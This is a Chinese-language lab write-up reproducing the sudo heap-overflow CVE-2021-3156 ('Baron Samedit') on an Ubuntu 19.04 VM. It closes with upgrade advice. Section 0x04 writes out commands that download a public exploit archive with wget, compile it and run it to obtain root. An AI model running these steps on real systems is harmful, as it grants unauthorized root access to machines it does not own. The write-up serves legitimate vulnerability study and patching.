CVE-2021-3156 Sudo溢出漏洞
0x00简介
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt、reboot、su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。
0x01漏洞概述
2021年01月26日,sudo被披露存在一个基于堆的缓冲区溢出漏洞(CVE-2021-3156,该漏洞被命名为“Baron Samedit”),可导致本地权限提升。
当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。
0x02影响范围
sudo 1.8.2 - 1.8.31p2
sudo 1.9.0 - 1.9.5p1
0x03环境搭建
本次环境使用ubuntu19.04版本
1、官方下载地址:http://old-releases.ubuntu.com/releases/19.04/
65071612408500.jpg2、使用Vmware虚拟机安装最小安装即可。(具体安装过程自行百度)
90431612408500.jpg0x04漏洞复现
1、在终端输入sudo –version查看sudo版本,使用whoami查看当前用户
20231612408501.jpg 87271612408501.jpg2、使用GitHub上的exp进行漏洞利用,使用wget或git进行下载
wget https://hub.fastgit.org/blasty/CVE-2021-3156/archive/main.zip
unzip main.zip
19821612408501.jpg 55141612408501.jpg3、进入解压的目录,使用make编译成可执行文件
cd CVE-2021-3156-main/
make
9391612408502.jpg4、执行编译出来的文件后面加上ubuntu执行可以看到已经是root权限了(使用Debian的系统也可以)
./sudo-hax-me-a-sandwich ubuntu
5491612408502.jpg0x05修复建议
目前官方已在sudo新版本1.9.5p2中修复了该漏洞,请受影响的用户尽快升级版本进行防护。
30241612408502.jpg